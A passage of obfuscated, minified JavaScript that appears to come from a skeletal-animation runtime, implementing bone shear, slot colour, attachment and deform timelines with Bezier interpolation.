_0x36134c = _0x1ace22[_0x560663 + 0x1], _0x160008 = _0x1ace22[_0x560663 + 0x2]; let _0x1f2f0f = (_0x647aa9 - _0x14ed52) / (_0x1ace22[_0x560663 + 0x3] - _0x14ed52); _0x36134c += (_0x1ace22[_0x560663 + 0x3 + 0x1] - _0x36134c) * _0x1f2f0f, _0x160008 += (_0x1ace22[_0x560663 + 0x3 + 0x2] - _0x160008) * _0x1f2f0f; break; case 0x1: _0x36134c = _0x1ace22[_0x560663 + 0x1], _0x160008 = _0x1ace22[_0x560663 + 0x2]; break; default: _0x36134c = this['getBezierValue'](_0x647aa9, _0x560663, 0x1, _0x283ddd - 0x2), _0x160008 = this['getBezierValue'](_0x647aa9, _0x560663, 0x2, _0x283ddd + 0x12 - 0x2); }switch (_0x4d4c10) { case 0x0: _0x194701['shearX'] = _0x194701['data']['shearX'] + _0x36134c * _0x3c6298, _0x194701['shearY'] = _0x194701['data']['shearY'] + _0x160008 * _0x3c6298; break; case 0x1: case 0x2: _0x194701['shearX'] += (_0x194701['data']['shearX'] + _0x36134c - _0x194701['shearX']) * _0x3c6298, _0x194701['shearY'] += (_0x194701['data']['shearY'] + _0x160008 - _0x194701['shearY']) * _0x3c6298; break; case 0x3: _0x194701['shearX'] += _0x36134c * _0x3c6298, _0x194701['shearY'] += _0x160008 * _0x3c6298; } } }, _0x574826 = class extends _0x3c9c6c { constructor(_0x122d38, _0x1940d9, _0x3613e5) { super(_0x122d38, _0x1940d9, _0x177dad + '|' + _0x3613e5), this['boneIndex'] = 0x0, this['boneIndex'] = _0x3613e5; } ['apply'](_0xca31e5, _0x15cb05, _0x4c9671, _0x45911f, _0x4bca85, _0x330ee0, _0x1df4b3) { let _0x764eb6 = _0xca31e5['bones'][this['boneIndex']]; if (!_0x764eb6['active']) return; if (_0x4c9671 < this['frames'][0x0]) { switch (_0x330ee0) { case 0x0: return void (_0x764eb6['shearX'] = _0x764eb6['data']['shearX']); case 0x1: _0x764eb6['shearX'] += (_0x764eb6['data']['shearX'] - _0x764eb6['shearX']) * _0x4bca85; }return; } let _0x118ead = this['getCurveValue'](_0x4c9671); switch (_0x330ee0) { case 0x0: _0x764eb6['shearX'] = _0x764eb6['data']['shearX'] + _0x118ead * _0x4bca85; break; case 0x1: case 0x2: _0x764eb6['shearX'] += (_0x764eb6['data']['shearX'] + _0x118ead - _0x764eb6['shearX']) * _0x4bca85; break; case 0x3: _0x764eb6['shearX'] += _0x118ead * _0x4bca85; } } }, _0x3d4ca = class extends _0x3c9c6c { constructor(_0x2a4a40, _0x48fa13, _0x57f392) { super(_0x2a4a40, _0x48fa13, _0x28bf84 + '|' + _0x57f392), this['boneIndex'] = 0x0, this['boneIndex'] = _0x57f392; } ['apply'](_0x46ad21, _0x341dd8, _0x2d696d, _0x4f61c8, _0x50a9fd, _0x283cbd, _0x46636d) { let _0x58635e = _0x46ad21['bones'][this['boneIndex']]; if (!_0x58635e['active']) return; if (_0x2d696d < this['frames'][0x0]) { switch (_0x283cbd) { case 0x0: return void (_0x58635e['shearY'] = _0x58635e['data']['shearY']); case 0x1: _0x58635e['shearY'] += (_0x58635e['data']['shearY'] - _0x58635e['shearY']) * _0x50a9fd; }return; } let _0x3ba55b = this['getCurveValue'](_0x2d696d); switch (_0x283cbd) { case 0x0: _0x58635e['shearY'] = _0x58635e['data']['shearY'] + _0x3ba55b * _0x50a9fd; break; case 0x1: case 0x2: _0x58635e['shearY'] += (_0x58635e['data']['shearY'] + _0x3ba55b - _0x58635e['shearY']) * _0x50a9fd; break; case 0x3: _0x58635e['shearY'] += _0x3ba55b * _0x50a9fd; } } }, _0x185cd5 = class extends _0x1b9341 { constructor(_0x12807d, _0x1e05fe, _0x258664) { super(_0x12807d, _0x1e05fe, [_0x367f0b + '|' + _0x258664, _0x148594 + '|' + _0x258664]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x258664; } ['getFrameEntries']() { return 0x5; } ['setFrame'](_0x1fe958, _0x7ae03d, _0x997b22, _0x2f72e1, _0x3dc824, _0x388acf) { _0x1fe958 *= 0x5, this['frames'][_0x1fe958] = _0x7ae03d, this['frames'][_0x1fe958 + 0x1] = _0x997b22, this['frames'][_0x1fe958 + 0x2] = _0x2f72e1, this['frames'][_0x1fe958 + 0x3] = _0x3dc824, this['frames'][_0x1fe958 + 0x4] = _0x388acf; } ['apply'](_0x5faf97, _0x467f05, _0x149c90, _0x21994a, _0xec6828, _0x3bbaaa, _0x527c59) { let _0xda3c80 = _0x5faf97['slots'][this['slotIndex']]; if (!_0xda3c80['bone']['active']) return; let _0x3bd9fb = this['frames'], _0x167270 = _0xda3c80['color']; if (_0x149c90 < _0x3bd9fb[0x0]) { let _0x4e4e70 = _0xda3c80['data']['color']; switch (_0x3bbaaa) { case 0x0: return void _0x167270['setFromColor'](_0x4e4e70); case 0x1: _0x167270['add']((_0x4e4e70['r'] - _0x167270['r']) * _0xec6828, (_0x4e4e70['g'] - _0x167270['g']) * _0xec6828, (_0x4e4e70['b'] - _0x167270['b']) * _0xec6828, (_0x4e4e70['a'] - _0x167270['a']) * _0xec6828); }return; } let _0x33d84c = 0x0, _0x1fa595 = 0x0, _0x17d121 = 0x0, _0x248b42 = 0x0, _0x409915 = _0x14ac7e['search'](_0x3bd9fb, _0x149c90, 0x5), _0x80315d = this['curves'][_0x409915 / 0x5]; switch (_0x80315d) { case 0x0: let _0x36347b = _0x3bd9fb[_0x409915]; _0x33d84c = _0x3bd9fb[_0x409915 + 0x1], _0x1fa595 = _0x3bd9fb[_0x409915 + 0x2], _0x17d121 = _0x3bd9fb[_0x409915 + 0x3], _0x248b42 = _0x3bd9fb[_0x409915 + 0x4]; let _0xb5a6f8 = (_0x149c90 - _0x36347b) / (_0x3bd9fb[_0x409915 + 0x5] - _0x36347b); _0x33d84c += (_0x3bd9fb[_0x409915 + 0x5 + 0x1] - _0x33d84c) * _0xb5a6f8, _0x1fa595 += (_0x3bd9fb[_0x409915 + 0x5 + 0x2] - _0x1fa595) * _0xb5a6f8, _0x17d121 += (_0x3bd9fb[_0x409915 + 0x5 + 0x3] - _0x17d121) * _0xb5a6f8, _0x248b42 += (_0x3bd9fb[_0x409915 + 0x5 + 0x4] - _0x248b42) * _0xb5a6f8; break; case 0x1: _0x33d84c = _0x3bd9fb[_0x409915 + 0x1], _0x1fa595 = _0x3bd9fb[_0x409915 + 0x2], _0x17d121 = _0x3bd9fb[_0x409915 + 0x3], _0x248b42 = _0x3bd9fb[_0x409915 + 0x4]; break; default: _0x33d84c = this['getBezierValue'](_0x149c90, _0x409915, 0x1, _0x80315d - 0x2), _0x1fa595 = this['getBezierValue'](_0x149c90, _0x409915, 0x2, _0x80315d + 0x12 - 0x2), _0x17d121 = this['getBezierValue'](_0x149c90, _0x409915, 0x3, _0x80315d + 0x24 - 0x2), _0x248b42 = this['getBezierValue'](_0x149c90, _0x409915, 0x4, _0x80315d + 0x36 - 0x2); }0x1 == _0xec6828 ? _0x167270['set'](_0x33d84c, _0x1fa595, _0x17d121, _0x248b42) : (0x0 == _0x3bbaaa && _0x167270['setFromColor'](_0xda3c80['data']['color']), _0x167270['add']((_0x33d84c - _0x167270['r']) * _0xec6828, (_0x1fa595 - _0x167270['g']) * _0xec6828, (_0x17d121 - _0x167270['b']) * _0xec6828, (_0x248b42 - _0x167270['a']) * _0xec6828)); } }, _0x21e97f = class extends _0x1b9341 { constructor(_0x379f0b, _0x5929e7, _0x211798) { super(_0x379f0b, _0x5929e7, [_0x367f0b + '|' + _0x211798]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x211798; } ['getFrameEntries']() { return 0x4; } ['setFrame'](_0x52b514, _0x52974c, _0x49da0c, _0x838947, _0x549e47) { _0x52b514 <<= 0x2, this['frames'][_0x52b514] = _0x52974c, this['frames'][_0x52b514 + 0x1] = _0x49da0c, this['frames'][_0x52b514 + 0x2] = _0x838947, this['frames'][_0x52b514 + 0x3] = _0x549e47; } ['apply'](_0x4267dd, _0x9646c9, _0xaa164f, _0x1980e9, _0x4e1ab5, _0x1cb562, _0x4c3c85) { let _0x378198 = _0x4267dd['slots'][this['slotIndex']]; if (!_0x378198['bone']['active']) return; let _0x2b2268 = this['frames'], _0x100fef = _0x378198['color']; if (_0xaa164f < _0x2b2268[0x0]) { let _0x1e4a3e = _0x378198['data']['color']; switch (_0x1cb562) { case 0x0: return _0x100fef['r'] = _0x1e4a3e['r'], _0x100fef['g'] = _0x1e4a3e['g'], void (_0x100fef['b'] = _0x1e4a3e['b']); case 0x1: _0x100fef['r'] += (_0x1e4a3e['r'] - _0x100fef['r']) * _0x4e1ab5, _0x100fef['g'] += (_0x1e4a3e['g'] - _0x100fef['g']) * _0x4e1ab5, _0x100fef['b'] += (_0x1e4a3e['b'] - _0x100fef['b']) * _0x4e1ab5; }return; } let _0x30bc8a = 0x0, _0x55d057 = 0x0, _0x5934cd = 0x0, _0x1ee4d1 = _0x14ac7e['search'](_0x2b2268, _0xaa164f, 0x4), _0x3f3ba9 = this['curves'][_0x1ee4d1 >> 0x2]; switch (_0x3f3ba9) { case 0x0: let _0x33e525 = _0x2b2268[_0x1ee4d1]; _0x30bc8a = _0x2b2268[_0x1ee4d1 + 0x1], _0x55d057 = _0x2b2268[_0x1ee4d1 + 0x2], _0x5934cd = _0x2b2268[_0x1ee4d1 + 0x3]; let _0x13df02 = (_0xaa164f - _0x33e525) / (_0x2b2268[_0x1ee4d1 + 0x4] - _0x33e525); _0x30bc8a += (_0x2b2268[_0x1ee4d1 + 0x4 + 0x1] - _0x30bc8a) * _0x13df02, _0x55d057 += (_0x2b2268[_0x1ee4d1 + 0x4 + 0x2] - _0x55d057) * _0x13df02, _0x5934cd += (_0x2b2268[_0x1ee4d1 + 0x4 + 0x3] - _0x5934cd) * _0x13df02; break; case 0x1: _0x30bc8a = _0x2b2268[_0x1ee4d1 + 0x1], _0x55d057 = _0x2b2268[_0x1ee4d1 + 0x2], _0x5934cd = _0x2b2268[_0x1ee4d1 + 0x3]; break; default: _0x30bc8a = this['getBezierValue'](_0xaa164f, _0x1ee4d1, 0x1, _0x3f3ba9 - 0x2), _0x55d057 = this['getBezierValue'](_0xaa164f, _0x1ee4d1, 0x2, _0x3f3ba9 + 0x12 - 0x2), _0x5934cd = this['getBezierValue'](_0xaa164f, _0x1ee4d1, 0x3, _0x3f3ba9 + 0x24 - 0x2); }if (0x1 == _0x4e1ab5) _0x100fef['r'] = _0x30bc8a, _0x100fef['g'] = _0x55d057, _0x100fef['b'] = _0x5934cd; else { if (0x0 == _0x1cb562) { let _0x129a20 = _0x378198['data']['color']; _0x100fef['r'] = _0x129a20['r'], _0x100fef['g'] = _0x129a20['g'], _0x100fef['b'] = _0x129a20['b']; } _0x100fef['r'] += (_0x30bc8a - _0x100fef['r']) * _0x4e1ab5, _0x100fef['g'] += (_0x55d057 - _0x100fef['g']) * _0x4e1ab5, _0x100fef['b'] += (_0x5934cd - _0x100fef['b']) * _0x4e1ab5; } } }, _0x41704c = class extends _0x3c9c6c { constructor(_0x30e336, _0x26354d, _0x1b4cbb) { super(_0x30e336, _0x26354d, _0x148594 + '|' + _0x1b4cbb), this['slotIndex'] = 0x0, this['slotIndex'] = _0x1b4cbb; } ['apply'](_0x34ec4f, _0x44b1ce, _0x54af1b, _0x2d2bf9, _0x1dc299, _0x2616c4, _0x2d1122) { let _0x25c710 = _0x34ec4f['slots'][this['slotIndex']]; if (!_0x25c710['bone']['active']) return; let _0x41ba85 = _0x25c710['color']; if (_0x54af1b < this['frames'][0x0]) { let _0x1d60cf = _0x25c710['data']['color']; switch (_0x2616c4) { case 0x0: return void (_0x41ba85['a'] = _0x1d60cf['a']); case 0x1: _0x41ba85['a'] += (_0x1d60cf['a'] - _0x41ba85['a']) * _0x1dc299; }return; } let _0x269d90 = this['getCurveValue'](_0x54af1b); 0x1 == _0x1dc299 ? _0x41ba85['a'] = _0x269d90 : (0x0 == _0x2616c4 && (_0x41ba85['a'] = _0x25c710['data']['color']['a']), _0x41ba85['a'] += (_0x269d90 - _0x41ba85['a']) * _0x1dc299); } }, _0x585b70 = class extends _0x1b9341 { constructor(_0x8cce39, _0x4d339d, _0x2bbbe7) { super(_0x8cce39, _0x4d339d, [_0x367f0b + '|' + _0x2bbbe7, _0x148594 + '|' + _0x2bbbe7, _0x3ca5b4 + '|' + _0x2bbbe7]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x2bbbe7; } ['getFrameEntries']() { return 0x8; } ['setFrame'](_0x178c48, _0x120a9b, _0x192be5, _0x2ad2e3, _0x11ddd1, _0x521ac5, _0x2ffc0b, _0x15b112, _0x58900a) { _0x178c48 <<= 0x3, this['frames'][_0x178c48] = _0x120a9b, this['frames'][_0x178c48 + 0x1] = _0x192be5, this['frames'][_0x178c48 + 0x2] = _0x2ad2e3, this['frames'][_0x178c48 + 0x3] = _0x11ddd1, this['frames'][_0x178c48 + 0x4] = _0x521ac5, this['frames'][_0x178c48 + 0x5] = _0x2ffc0b, this['frames'][_0x178c48 + 0x6] = _0x15b112, this['frames'][_0x178c48 + 0x7] = _0x58900a; } ['apply'](_0x375c60, _0xd8e6a3, _0x1c7687, _0x27af09, _0x709cd2, _0x275182, _0x1b7a54) { let _0x21657a = _0x375c60['slots'][this['slotIndex']]; if (!_0x21657a['bone']['active']) return; let _0x362790 = this['frames'], _0x347482 = _0x21657a['color'], _0x3fd6a6 = _0x21657a['darkColor']; if (_0x1c7687 < _0x362790[0x0]) { let _0x82f1b5 = _0x21657a['data']['color'], _0x1ea11b = _0x21657a['data']['darkColor']; switch (_0x275182) { case 0x0: return _0x347482['setFromColor'](_0x82f1b5), _0x3fd6a6['r'] = _0x1ea11b['r'], _0x3fd6a6['g'] = _0x1ea11b['g'], void (_0x3fd6a6['b'] = _0x1ea11b['b']); case 0x1: _0x347482['add']((_0x82f1b5['r'] - _0x347482['r']) * _0x709cd2, (_0x82f1b5['g'] - _0x347482['g']) * _0x709cd2, (_0x82f1b5['b'] - _0x347482['b']) * _0x709cd2, (_0x82f1b5['a'] - _0x347482['a']) * _0x709cd2), _0x3fd6a6['r'] += (_0x1ea11b['r'] - _0x3fd6a6['r']) * _0x709cd2, _0x3fd6a6['g'] += (_0x1ea11b['g'] - _0x3fd6a6['g']) * _0x709cd2, _0x3fd6a6['b'] += (_0x1ea11b['b'] - _0x3fd6a6['b']) * _0x709cd2; }return; } let _0x4838cd = 0x0, _0x5dfd40 = 0x0, _0x229c60 = 0x0, _0x4edb8d = 0x0, _0x51bc53 = 0x0, _0x2a82fd = 0x0, _0xf87d9c = 0x0, _0xe13c3e = _0x14ac7e['search'](_0x362790, _0x1c7687, 0x8), _0x2dc50d = this['curves'][_0xe13c3e >> 0x3]; switch (_0x2dc50d) { case 0x0: let _0x1cc18d = _0x362790[_0xe13c3e]; _0x4838cd = _0x362790[_0xe13c3e + 0x1], _0x5dfd40 = _0x362790[_0xe13c3e + 0x2], _0x229c60 = _0x362790[_0xe13c3e + 0x3], _0x4edb8d = _0x362790[_0xe13c3e + 0x4], _0x51bc53 = _0x362790[_0xe13c3e + 0x5], _0x2a82fd = _0x362790[_0xe13c3e + 0x6], _0xf87d9c = _0x362790[_0xe13c3e + 0x7]; let _0x686566 = (_0x1c7687 - _0x1cc18d) / (_0x362790[_0xe13c3e + 0x8] - _0x1cc18d); _0x4838cd += (_0x362790[_0xe13c3e + 0x8 + 0x1] - _0x4838cd) * _0x686566, _0x5dfd40 += (_0x362790[_0xe13c3e + 0x8 + 0x2] - _0x5dfd40) * _0x686566, _0x229c60 += (_0x362790[_0xe13c3e + 0x8 + 0x3] - _0x229c60) * _0x686566, _0x4edb8d += (_0x362790[_0xe13c3e + 0x8 + 0x4] - _0x4edb8d) * _0x686566, _0x51bc53 += (_0x362790[_0xe13c3e + 0x8 + 0x5] - _0x51bc53) * _0x686566, _0x2a82fd += (_0x362790[_0xe13c3e + 0x8 + 0x6] - _0x2a82fd) * _0x686566, _0xf87d9c += (_0x362790[_0xe13c3e + 0x8 + 0x7] - _0xf87d9c) * _0x686566; break; case 0x1: _0x4838cd = _0x362790[_0xe13c3e + 0x1], _0x5dfd40 = _0x362790[_0xe13c3e + 0x2], _0x229c60 = _0x362790[_0xe13c3e + 0x3], _0x4edb8d = _0x362790[_0xe13c3e + 0x4], _0x51bc53 = _0x362790[_0xe13c3e + 0x5], _0x2a82fd = _0x362790[_0xe13c3e + 0x6], _0xf87d9c = _0x362790[_0xe13c3e + 0x7]; break; default: _0x4838cd = this['getBezierValue'](_0x1c7687, _0xe13c3e, 0x1, _0x2dc50d - 0x2), _0x5dfd40 = this['getBezierValue'](_0x1c7687, _0xe13c3e, 0x2, _0x2dc50d + 0x12 - 0x2), _0x229c60 = this['getBezierValue'](_0x1c7687, _0xe13c3e, 0x3, _0x2dc50d + 0x24 - 0x2), _0x4edb8d = this['getBezierValue'](_0x1c7687, _0xe13c3e, 0x4, _0x2dc50d + 0x36 - 0x2), _0x51bc53 = this['getBezierValue'](_0x1c7687, _0xe13c3e, 0x5, _0x2dc50d + 0x48 - 0x2), _0x2a82fd = this['getBezierValue'](_0x1c7687, _0xe13c3e, 0x6, _0x2dc50d + 0x5a - 0x2), _0xf87d9c = this['getBezierValue'](_0x1c7687, _0xe13c3e, 0x7, _0x2dc50d + 0x6c - 0x2); }if (0x1 == _0x709cd2) _0x347482['set'](_0x4838cd, _0x5dfd40, _0x229c60, _0x4edb8d), _0x3fd6a6['r'] = _0x51bc53, _0x3fd6a6['g'] = _0x2a82fd, _0x3fd6a6['b'] = _0xf87d9c; else { if (0x0 == _0x275182) { _0x347482['setFromColor'](_0x21657a['data']['color']); let _0x36c077 = _0x21657a['data']['darkColor']; _0x3fd6a6['r'] = _0x36c077['r'], _0x3fd6a6['g'] = _0x36c077['g'], _0x3fd6a6['b'] = _0x36c077['b']; } _0x347482['add']((_0x4838cd - _0x347482['r']) * _0x709cd2, (_0x5dfd40 - _0x347482['g']) * _0x709cd2, (_0x229c60 - _0x347482['b']) * _0x709cd2, (_0x4edb8d - _0x347482['a']) * _0x709cd2), _0x3fd6a6['r'] += (_0x51bc53 - _0x3fd6a6['r']) * _0x709cd2, _0x3fd6a6['g'] += (_0x2a82fd - _0x3fd6a6['g']) * _0x709cd2, _0x3fd6a6['b'] += (_0xf87d9c - _0x3fd6a6['b']) * _0x709cd2; } } }, _0x3aedbe = class extends _0x1b9341 { constructor(_0x5aade7, _0x5a112e, _0x2c3d6b) { super(_0x5aade7, _0x5a112e, [_0x367f0b + '|' + _0x2c3d6b, _0x3ca5b4 + '|' + _0x2c3d6b]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x2c3d6b; } ['getFrameEntries']() { return 0x7; } ['setFrame'](_0xca1c36, _0x30167a, _0x303e74, _0x241399, _0x106029, _0xc0c1b1, _0x3eeb4f, _0x147b43) { _0xca1c36 *= 0x7, this['frames'][_0xca1c36] = _0x30167a, this['frames'][_0xca1c36 + 0x1] = _0x303e74, this['frames'][_0xca1c36 + 0x2] = _0x241399, this['frames'][_0xca1c36 + 0x3] = _0x106029, this['frames'][_0xca1c36 + 0x4] = _0xc0c1b1, this['frames'][_0xca1c36 + 0x5] = _0x3eeb4f, this['frames'][_0xca1c36 + 0x6] = _0x147b43; } ['apply'](_0x42e6f1, _0x26294f, _0x2dde8a, _0x2a7c83, _0x24c9a7, _0x142924, _0x171a99) { let _0x531cb5 = _0x42e6f1['slots'][this['slotIndex']]; if (!_0x531cb5['bone']['active']) return; let _0x2f0765 = this['frames'], _0x38f5b1 = _0x531cb5['color'], _0x566fb2 = _0x531cb5['darkColor']; if (_0x2dde8a < _0x2f0765[0x0]) { let _0x1ca00f = _0x531cb5['data']['color'], _0x7e53c3 = _0x531cb5['data']['darkColor']; switch (_0x142924) { case 0x0: return _0x38f5b1['r'] = _0x1ca00f['r'], _0x38f5b1['g'] = _0x1ca00f['g'], _0x38f5b1['b'] = _0x1ca00f['b'], _0x566fb2['r'] = _0x7e53c3['r'], _0x566fb2['g'] = _0x7e53c3['g'], void (_0x566fb2['b'] = _0x7e53c3['b']); case 0x1: _0x38f5b1['r'] += (_0x1ca00f['r'] - _0x38f5b1['r']) * _0x24c9a7, _0x38f5b1['g'] += (_0x1ca00f['g'] - _0x38f5b1['g']) * _0x24c9a7, _0x38f5b1['b'] += (_0x1ca00f['b'] - _0x38f5b1['b']) * _0x24c9a7, _0x566fb2['r'] += (_0x7e53c3['r'] - _0x566fb2['r']) * _0x24c9a7, _0x566fb2['g'] += (_0x7e53c3['g'] - _0x566fb2['g']) * _0x24c9a7, _0x566fb2['b'] += (_0x7e53c3['b'] - _0x566fb2['b']) * _0x24c9a7; }return; } let _0x44b0bc = 0x0, _0x4e3eba = 0x0, _0x19d0bc = 0x0, _0x3d034c = 0x0, _0x4572e8 = 0x0, _0x14295d = 0x0, _0x46e8c7 = _0x14ac7e['search'](_0x2f0765, _0x2dde8a, 0x7), _0x42a301 = this['curves'][_0x46e8c7 / 0x7]; switch (_0x42a301) { case 0x0: let _0x172d3d = _0x2f0765[_0x46e8c7]; _0x44b0bc = _0x2f0765[_0x46e8c7 + 0x1], _0x4e3eba = _0x2f0765[_0x46e8c7 + 0x2], _0x19d0bc = _0x2f0765[_0x46e8c7 + 0x3], _0x3d034c = _0x2f0765[_0x46e8c7 + 0x4], _0x4572e8 = _0x2f0765[_0x46e8c7 + 0x5], _0x14295d = _0x2f0765[_0x46e8c7 + 0x6]; let _0xa4b795 = (_0x2dde8a - _0x172d3d) / (_0x2f0765[_0x46e8c7 + 0x7] - _0x172d3d); _0x44b0bc += (_0x2f0765[_0x46e8c7 + 0x7 + 0x1] - _0x44b0bc) * _0xa4b795, _0x4e3eba += (_0x2f0765[_0x46e8c7 + 0x7 + 0x2] - _0x4e3eba) * _0xa4b795, _0x19d0bc += (_0x2f0765[_0x46e8c7 + 0x7 + 0x3] - _0x19d0bc) * _0xa4b795, _0x3d034c += (_0x2f0765[_0x46e8c7 + 0x7 + 0x4] - _0x3d034c) * _0xa4b795, _0x4572e8 += (_0x2f0765[_0x46e8c7 + 0x7 + 0x5] - _0x4572e8) * _0xa4b795, _0x14295d += (_0x2f0765[_0x46e8c7 + 0x7 + 0x6] - _0x14295d) * _0xa4b795; break; case 0x1: _0x44b0bc = _0x2f0765[_0x46e8c7 + 0x1], _0x4e3eba = _0x2f0765[_0x46e8c7 + 0x2], _0x19d0bc = _0x2f0765[_0x46e8c7 + 0x3], _0x3d034c = _0x2f0765[_0x46e8c7 + 0x4], _0x4572e8 = _0x2f0765[_0x46e8c7 + 0x5], _0x14295d = _0x2f0765[_0x46e8c7 + 0x6]; break; default: _0x44b0bc = this['getBezierValue'](_0x2dde8a, _0x46e8c7, 0x1, _0x42a301 - 0x2), _0x4e3eba = this['getBezierValue'](_0x2dde8a, _0x46e8c7, 0x2, _0x42a301 + 0x12 - 0x2), _0x19d0bc = this['getBezierValue'](_0x2dde8a, _0x46e8c7, 0x3, _0x42a301 + 0x24 - 0x2), _0x3d034c = this['getBezierValue'](_0x2dde8a, _0x46e8c7, 0x4, _0x42a301 + 0x36 - 0x2), _0x4572e8 = this['getBezierValue'](_0x2dde8a, _0x46e8c7, 0x5, _0x42a301 + 0x48 - 0x2), _0x14295d = this['getBezierValue'](_0x2dde8a, _0x46e8c7, 0x6, _0x42a301 + 0x5a - 0x2); }if (0x1 == _0x24c9a7) _0x38f5b1['r'] = _0x44b0bc, _0x38f5b1['g'] = _0x4e3eba, _0x38f5b1['b'] = _0x19d0bc, _0x566fb2['r'] = _0x3d034c, _0x566fb2['g'] = _0x4572e8, _0x566fb2['b'] = _0x14295d; else { if (0x0 == _0x142924) { let _0x4ef21a = _0x531cb5['data']['color'], _0x204e17 = _0x531cb5['data']['darkColor']; _0x38f5b1['r'] = _0x4ef21a['r'], _0x38f5b1['g'] = _0x4ef21a['g'], _0x38f5b1['b'] = _0x4ef21a['b'], _0x566fb2['r'] = _0x204e17['r'], _0x566fb2['g'] = _0x204e17['g'], _0x566fb2['b'] = _0x204e17['b']; } _0x38f5b1['r'] += (_0x44b0bc - _0x38f5b1['r']) * _0x24c9a7, _0x38f5b1['g'] += (_0x4e3eba - _0x38f5b1['g']) * _0x24c9a7, _0x38f5b1['b'] += (_0x19d0bc - _0x38f5b1['b']) * _0x24c9a7, _0x566fb2['r'] += (_0x3d034c - _0x566fb2['r']) * _0x24c9a7, _0x566fb2['g'] += (_0x4572e8 - _0x566fb2['g']) * _0x24c9a7, _0x566fb2['b'] += (_0x14295d - _0x566fb2['b']) * _0x24c9a7; } } }, _0xc3d6e4 = class extends _0x14ac7e { constructor(_0x1a4234, _0x3005fb) { super(_0x1a4234, [_0xd9004e + '|' + _0x3005fb]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x3005fb, this['attachmentNames'] = new Array(_0x1a4234); } ['getFrameCount']() { return this['frames']['length']; } ['setFrame'](_0x285d13, _0x367821, _0x19f7b5) { this['frames'][_0x285d13] = _0x367821, this['attachmentNames'][_0x285d13] = _0x19f7b5; } ['apply'](_0x519eea, _0x37fc53, _0x3fbb8f, _0x32dda1, _0x10d222, _0x57e747, _0x305c13) { let _0x1d7c32 = _0x519eea['slots'][this['slotIndex']]; _0x1d7c32['bone']['active'] && (0x1 != _0x305c13 ? _0x3fbb8f < this['frames'][0x0] ? 0x0 != _0x57e747 && 0x1 != _0x57e747 || this['setAttachment'](_0x519eea, _0x1d7c32, _0x1d7c32['data']['attachmentName']) : this['setAttachment'](_0x519eea, _0x1d7c32, this['attachmentNames'][_0x14ac7e['search1'](this['frames'], _0x3fbb8f)]) : 0x0 == _0x57e747 && this['setAttachment'](_0x519eea, _0x1d7c32, _0x1d7c32['data']['attachmentName'])); } ['setAttachment'](_0x4ab7d1, _0x9e37b7, _0x1e3a11) { _0x9e37b7['setAttachment'](_0x1e3a11 ? _0x4ab7d1['getAttachment'](this['slotIndex'], _0x1e3a11) : null); } }, _0x92c76c = class extends _0x1b9341 { constructor(_0x2fbce3, _0x4deab7, _0x4c3c1f, _0x5741fe) { super(_0x2fbce3, _0x4deab7, [_0x5a9afc + '|' + _0x4c3c1f + '|' + _0x5741fe['id']]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x4c3c1f, this['attachment'] = _0x5741fe, this['vertices'] = new Array(_0x2fbce3); } ['getFrameCount']() { return this['frames']['length']; } ['setFrame'](_0x5660b6, _0x34a8a1, _0x4e3f5e) { this['frames'][_0x5660b6] = _0x34a8a1, this['vertices'][_0x5660b6] = _0x4e3f5e; } ['setBezier'](_0x232c20, _0x3801f8, _0x5357e7, _0x3b4e0e, _0x422776, _0x3a0cca, _0x23d79f, _0x101118, _0x4f6673, _0x715e0c, _0x3bd246) { let _0x257b80 = this['curves'], _0x37fd2e = this['getFrameCount']() + 0x12 * _0x232c20; 0x0 == _0x5357e7 && (_0x257b80[_0x3801f8] = 0x2 + _0x37fd2e); let _0x3a45c1 = 0.03 * (_0x3b4e0e - 0x2 * _0x3a0cca + _0x101118), _0x116597 = 0.03 * _0x4f6673 - 0.06 * _0x23d79f, _0x26ee6e = 0.006 * (0x3 * (_0x3a0cca - _0x101118) - _0x3b4e0e + _0x715e0c), _0x13ce7e = 0.018 * (_0x23d79f - _0x4f6673 + 0.33333333), _0x2819bb = 0x2 * _0x3a45c1 + _0x26ee6e, _0x4c566b = 0x2 * _0x116597 + _0x13ce7e, _0x4f133d = 0.3 * (_0x3a0cca - _0x3b4e0e) + _0x3a45c1 + 0.16666667 * _0x26ee6e, _0x16dd0c = 0.3 * _0x23d79f + _0x116597 + 0.16666667 * _0x13ce7e, _0x2b705b = _0x3b4e0e + _0x4f133d, _0x5b27fa = _0x16dd0c; for (let _0x551a03 = _0x37fd2e + 0x12; _0x37fd2e < _0x551a03; _0x37fd2e += 0x2)_0x257b80[_0x37fd2e] = _0x2b705b, _0x257b80[_0x37fd2e + 0x1] = _0x5b27fa, _0x4f133d += _0x2819bb, _0x16dd0c += _0x4c566b, _0x2819bb += _0x26ee6e, _0x4c566b += _0x13ce7e, _0x2b705b += _0x4f133d, _0x5b27fa += _0x16dd0c; } ['getCurvePercent'](_0x5982c8, _0xcd1fd4) { let _0x1d205e = this['curves'], _0x5711e0 = _0x1d205e[_0xcd1fd4]; switch (_0x5711e0) { case 0x0: let _0x2885d4 = this['frames'][_0xcd1fd4]; return (_0x5982c8 - _0x2885d4) / (this['frames'][_0xcd1fd4 + this['getFrameEntries']()] - _0x2885d4); case 0x1: return 0x0; }if (_0x5711e0 -= 0x2, _0x1d205e[_0x5711e0] > _0x5982c8) { let _0x8df8c6 = this['frames'][_0xcd1fd4]; return _0x1d205e[_0x5711e0 + 0x1] * (_0x5982c8 - _0x8df8c6) / (_0x1d205e[_0x5711e0] - _0x8df8c6); } let _0x101c6d = _0x5711e0 + 0x12; for (_0x5711e0 += 0x2; _0x5711e0 < _0x101c6d; _0x5711e0 += 0x2)if (_0x1d205e[_0x5711e0] >= _0x5982c8) { let _0x458127 = _0x1d205e[_0x5711e0 - 0x2], _0x11e012 = _0x1d205e[_0x5711e0 - 0x1]; return _0x11e012 + (_0x5982c8 - _0x458127) / (_0x1d205e[_0x5711e0] - _0x458127) * (_0x1d205e[_0x5711e0 + 0x1] - _0x11e012); } let _0x5aaca1 = _0x1d205e[_0x101c6d - 0x2], _0x4a8ea3 = _0x1d205e[_0x101c6d - 0x1]; return _0x4a8ea3 + (0x1 - _0x4a8ea3) * (_0x5982c8 - _0x5aaca1) / (this['frames'][_0xcd1fd4 + this['getFrameEntries']()] - _0x5aaca1); } ['apply'](_0x1750b9, _0x33e1fb, _0xc913b7, _0x2108fe, _0x1a716a, _0x223b74, _0xe9d5f) { let _0x20aadb = 